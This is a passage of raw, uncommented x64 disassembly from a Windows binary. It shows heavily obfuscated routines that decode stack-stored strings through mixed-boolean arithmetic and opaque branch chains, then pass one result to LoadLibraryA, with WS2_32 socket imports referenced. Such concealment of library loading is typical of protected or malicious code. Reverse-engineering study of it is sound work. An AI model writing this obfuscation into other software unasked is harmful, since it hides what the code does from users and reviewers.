lea rdx, [rbp + 0x1410]
lea rcx, [rbp + 0x1950]
call fcn.140135eb0
mov rbx, rax
mov qword [rsp + 0x70], rax
lea rax, [rbp + 0x1970]
mov qword [rsp + 0x68], rax
lea rdx, [rbp + 0x1450]
lea rcx, [rbp + 0x1970]
call fcn.140135eb0
mov rdi, rax
mov qword [rsp + 0x78], rax
lea rax, [rbp + 0x1990]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x1430]
lea rcx, [rbp + 0x1990]
call fcn.140135eb0
mov rsi, rax
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x1470]
lea rcx, [rbp + 0x19b0]
call fcn.140135eb0
mov r14, rax
mov qword [rsp + 0x68], rax
lea rax, [rbp + 0x19d0]
mov qword [rbp + 0x5d10], rax
mov rdx, rbx
lea rcx, [rbp + 0x19d0]
call fcn.140135eb0
mov r13, rax
mov qword [rbp + 0x10], rax
lea rax, [rbp + 0x19f0]
mov qword [rbp - 0x18], rax
mov rdx, rdi
lea rcx, [rbp + 0x19f0]
call fcn.140135eb0
mov qword [rbp], rax
mov rdx, rsi
lea rcx, [rbp + 0x1a10]
call fcn.140135eb0
mov qword [rbp + 0x20], rax
mov byte [rbp + 0xcff], 0x3f
mov byte [rbp + 0xd00], 0x22
mov byte [rbp + 0xd01], 0x26
mov byte [rbp + 0xd02], 0x7e
mov byte [rbp + 0xd03], 0x7c
mov byte [rbp + 0xd04], 0x3a
mov byte [rbp + 0xd05], 0x62
mov byte [rbp + 0xd06], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0xd07], 0x3a
mov byte [rbp + 0xd08], 0x39
mov byte [rbp + 0xd09], 0xac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd0a], xmm0
mov word [rbp + 0xd1a], ax
movzx r11d, byte [rbp + 0x5d00]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rdi, r12
cmp rdi, 0x1d
jae 0x14018e6f7
movzx ebx, byte [rbp + rdi + 0xcff]
mov r10, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x14018e6eb
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14018da85
movabs rcx, 0x74a23b4f6e30bc9
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x7f
jmp 0x14018dab2
je 0x14018e666
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018e5c3
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018e560
lea rax, [r9 + 6]
cmp r8, rax
je 0x14018e537
cmp r9, rdi
ja 0x14018e6e2
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14018dae4
movabs rcx, 0x9914edd8409ff77d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6b
jmp 0x14018db30
lea rax, [r9 + 1]
cmp r8, rax
je 0x14018e4e5
inc rax
cmp r8, rax
je 0x14018e4bc
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018e498
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018e475
lea rax, [r9 + 7]
cmp r8, rax
je 0x14018e452
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14018e0e1
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018e0bc
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14018e08b
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14018e05d
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14018e038
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14018e010
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14018dfe8
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14018dfc3
lea rax, [r9 + 6]
cmp r8, rax
je 0x14018df9b
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018df62
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14018db40
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14018e6bf
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14018e69c
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14018dd15
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14018dcf2
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14018dccb
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14018de98
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14018db40
lea r8, [r9 + 1]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14018de64
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14018de41
movabs rdx, 0xf54163420d476623
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0xb
add r11b, dl
jmp 0x14018db30
movabs rcx, 0xe6ad1bd81f814e91
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 9
jmp 0x14018dab2
movabs rdx, 0xd818d46e31bb36ff
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 7
add r11b, dl
jmp 0x14018da45
movabs rcx, 0x5405337296ceff58
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x68
movzx eax, byte [rbp + rdi + 0xcff]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14018da33
movabs rdx, 0x3d5aaabfb0d7db5
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0xd
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0xa
je 0x14018e425
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14018e251
movabs rcx, 0xbcaa821ed419cee5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x43
cmp r8, 0x5a
jae 0x14018e3f8
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14018e310
movabs rdx, 0x55bf6ff714b9c662
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x29
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 5
jb 0x14018e3e8
movabs rdx, 0xe78a3a1a5e76b216
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x34]
jmp 0x14018e507
movabs rdx, 0x967d931183bfccee
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xcff]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14018da33
movabs rdx, 0x87e94ba795f9b55c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14018e61a
movabs rdx, 0x7955043da8339dca
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14018e5e6
movabs rdx, 0x6ac0bcd3ba6d8638
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14018e5aa
movabs rdx, 0x5c2c7569cca76ea6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14018e5a7
movabs rdx, 0x4d982dffdee15714
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14018e57f
movabs rdx, 0x3f03e695f11b3f82
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x39
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14018da33
movabs rdx, 0x306f9f2c035527f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14018da33
movabs rdx, 0x21db57c2158f105e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14018e504
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x14018e10e
movabs rdx, 0x74a23b4f6e30bc9
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7f
jmp 0x14018deb7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018e150
movabs rdx, 0x3229dbb0813feefa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xcff]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14018da33
inc rax
cmp r8, rax
jne 0x14018e180
movabs rdx, 0x40be231a6f06068c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14018e61a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018e1ae
movabs rdx, 0x4f526a845ccc1e1e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14018e5e6
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018e1dc
movabs rdx, 0x7b0f40c2261e64d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x1a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14018e57f
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14018e213
movabs rdx, 0x89a3882c13e47c66
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x1b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14018da33
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14018deba
movabs rdx, 0x9837cf9601aa93f8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x1c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14018da33
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14018e27d
movabs rcx, 0xcb3ec988c1dfe677
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x41
jmp 0x14018e507
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018e2af
movabs rcx, 0xe867585c9d6c159b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3d
dec rdi
inc rdi
jmp 0x14018da33
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14018e2dc
movabs rdx, 0xf6fb9fc68b322d2d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3b
jmp 0x14018e57f
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14018def6
movabs rdx, 0x314cbd6e424a8b75
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x33
add r11b, dl
jmp 0x14018e61a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018e352
movabs rdx, 0x6453b761027fddf4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x2a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xcff]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14018da33
inc rax
cmp r8, rax
jne 0x14018e37f
movabs rdx, 0x817c4634de0c0d18
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x2c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14018e5e6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018e3ad
movabs rdx, 0xad391c72a75e53ce
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14018e57f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14018df30
mov byte [rbp + rdi + 0xcff], r11b
inc rdi
jmp 0x14018da33
movabs rdx, 0xf61e81844c3cc9a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xcff]
add r11b, bl
jmp 0x14018e57f
movabs rdx, 0x4b2c8ee3a02e13a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, getservbyname
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xcff]
add r11b, bl
jmp 0x14018e5e6
movabs rcx, 0xdb72927aed0b40d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5b
jmp 0x14018e61a
movabs rcx, 0xf08e9a53d34484e9
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5f
jmp 0x14018e5aa
movabs rdx, 0xd3660b7ff7b855c5
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x63
jmp 0x14018e57f
movabs rcx, 0xc4d1c41609f23e33
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x65
dec rdi
inc rdi
jmp 0x14018da33
movabs rdx, 0xa7a935422e660f0f
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x69
add r11b, dl
movabs rcx, 0xeed45dcf5559bddf
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x19
add cl, bl
mov byte [rbp + rdi + 0xcff], cl
inc r9
dec rdi
inc rdi
jmp 0x14018da33
movabs rcx, 0x6d58179a774db0c7
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x71
dec rdi
inc rdi
jmp 0x14018da33
movabs rdx, 0x5ec3d03089879935
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x73
add r11b, dl
movabs rcx, 0xfd68a539431fd571
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x17
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0xcff], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14018da33
mov rbx, r10
movabs rdx, 0x3306f9f2c035527f
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x79
add r11b, dl
movabs rdx, 0xbfceca330e5ed03
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x15
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xcff], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x1347105827c8f8cc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, getservbyname
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xcff], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xcff]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14018da33
movabs rcx, 0x15de6b1ee4a9235b
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x7d
movzx eax, byte [rbp + rdi + 0xcff]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14018da33
movabs rcx, 0xc9848d0443f51f6d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 5
jmp 0x14018da30
movabs rcx, 0xbaf0459a562f07db
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 3
jmp 0x14018da20
lea rcx, [rbp + 0x14bf80b]
jmp 0x14018e6fe
lea rcx, [rbp + 0xaf03d4]
jmp 0x14018e6fe
lea rcx, [rbp + 0xcff]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x14018e71f
xor r12b, r12b
mov byte [rbp + 0x5d10], r12b
jmp 0x14018f543
mov byte [rbp + 0x2217], 0xee
mov byte [rbp + 0x2218], 0xc5
mov byte [rbp + 0x2219], 0xe0
mov byte [rbp + 0x221a], 0xea
mov byte [rbp + 0x221b], 0xe9
mov byte [rbp + 0x221c], 0xf1
mov byte [rbp + 0x221d], 0xd3
mov byte [rbp + 0x221e], 0xc1
mov byte [rbp + 0x221f], getservbyname
mov byte [rbp + 0x2220], 0x2a
mov byte [rbp + 0x2221], gethostbyaddr
mov byte [rbp + 0x2222], reloc.WS2_32.dll_select
mov byte [rbp + 0x2223], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x2224], recvfrom
mov byte [rbp + 0x2225], getservbyname
mov byte [rbp + 0x2226], getservbyname
mov byte [rbp + 0x2227], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x2228], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x2229], 0x3d
mov byte [rbp + 0x222a], 0x3f
mov byte [rbp + 0x222b], 0xc4
xorps xmm0, xmm0
movups xmmword [rbp + 0x222c], xmm0
movzx r11d, byte [rbp + 0x5d00]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rdi, r12
cmp rdi, 0x25
jae 0x14018f3db
movzx ebx, byte [rbp + rdi + 0x2217]
mov r10, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x14018f3cf
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14018e836
movabs r15, 0x14b8e79e7c471f78
lea rcx, [rdi + r15]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x48
jmp 0x14018e880
je 0x14018f33e
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018f2a3
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018f266
lea rax, [r9 + 5]
cmp r8, rax
je 0x14018f215
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018f1e4
movabs r15, 0x14b8e79e7c471f78
nop word [rax + rax]
cmp r9, rdi
ja 0x14018f3c3
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x14018e8b7
movabs rdx, 0xb32b000031d594d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14018e900
lea rax, [r9 + 1]
cmp r8, rax
je 0x14018f18e
inc rax
cmp r8, rax
je 0x14018f160
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018f13d
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018f116
lea rax, [r9 + 7]
cmp r8, rax
je 0x14018f0dd
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14018ee10
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14018ede8
lea rax, [r9 + 8]
cmp r8, rax
je 0x14018edbc
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018ed93
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14018ed7f
lea rax, [r9 + 5]
cmp r8, rax
je 0x14018ed59
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14018ed34
lea rax, [r9 + 6]
cmp r8, rax
je 0x14018ed0d
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14018ecd9
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14018f39b
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14018f378
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14018eab2
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14018ea8a
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14018ea63
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14018ec77
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14018ebe4
lea r8, [r9 + 0x64]
lea r9, [r8 + 0xa]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14018ebab
movabs rdx, 0x4065c30d7a9e1628
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
add r11b, dl
jmp 0x14018e900
movabs rdx, 0x16f3f3d0820fd738
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14018e880
movabs rdx, 0xed82249389819848
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14018e7f5
movabs rdx, 0x934961876bba9408
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x38
add r11b, dl
cmp r8, 0x2a
jae 0x14018f084
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x14018efa5
movabs rdx, 0xa33a30c3cec81470
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x10
add r11b, dl
cmp r9, 0x200
jb 0x14018f074
movabs rdx, 0x41ac4925845689d0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x60]
jmp 0x14018f1b0
movabs rdx, 0x69d7924a732c5518
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x2c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 9
je 0x14018f0ad
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x14018eed7
movabs rdx, 0xf00f30c39cf27f98
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x28
jmp 0x14018ec03
movabs rcx, 0x330200012b017d10
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
movzx eax, byte [rbp + rdi + 0x2217]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14018e7e3
movabs rdx, 0xe01e618739e4ff30
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
add r11b, dl
jmp 0x14018f2c8
movabs rdx, 0xb6ac924a4156c040
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x20
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14018f287
movabs rcx, 0x8d3ac30d48c88150
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
add r8, r9
jmp 0x14018f28a
movabs rdx, 0x63c8f3d0503a4260
mov ecx, gethostbyaddr
jmp 0x14018f224
movabs rcx, 0x3a57249357ac0370
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x10
dec rdi
inc rdi
jmp 0x14018e7e3
movabs rcx, 0x10e555565f1dc480
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x14018e7e3
movabs rdx, 0xe7738619668f8590
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14018f1b0
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x14018ee34
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
jmp 0x14018ec97
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018ee76
movabs rdx, 0x6656000063ab29b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x18
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x2217]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14018e7e3
inc rax
cmp r8, rax
jne 0x14018eea1
movabs rcx, 0xe2ab6db74d55e680
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x14018f28a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018ec9a
movabs rcx, 0x5f00db6e3700a350
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
dec rdi
inc rdi
jmp 0x14018e7e3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018ef05
movabs rdx, 0x198100009580be88
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14018f1ad
inc rax
cmp r8, rax
jne 0x14018ef38
movabs rdx, 0xbf483cf477b9ba48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x14018f28a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018ef64
movabs rcx, 0x122bdb6e68d63828
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x14018f2c8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14018ec06
movabs rcx, 0x650f79e859f2b608
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rdi + 0x2217]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14018e7e3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14018efe7
movabs rdx, 0xccac0000c7565360
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x2217]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14018e7e3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018f018
movabs rdx, 0x1f8f9e7ab872d140
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x20
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14018f2c8
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14018f044
movabs rcx, 0x49016db7b1011030
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x50
jmp 0x14018f28a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14018ec42
mov byte [rbp + rdi + 0x2217], r11b
inc rdi
jmp 0x14018e7e3
movabs rdx, 0x6b1e18627ce4c8c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0x2217]
sub r11b, al
sub r11b, 0x40
jmp 0x14018f232
movabs rdx, 0x948fe79f757307b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x18
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x2217]
add r11b, bl
add r11b, dl
jmp 0x14018f2c8
movabs rdx, 0x282b4924eed5cb48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x2217]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14018e7e3
movabs rdx, 0xfeb979e7f6478c58
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x68
add r11b, dl
jmp 0x14018f2f6
movabs rcx, 0xabd5db6e052b0e78
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x48
jmp 0x14018f28a
movabs rdx, 0x2f806db71b8051a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14018e7e3
movabs rdx, 0xdc9ccf3d2a63d3c8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
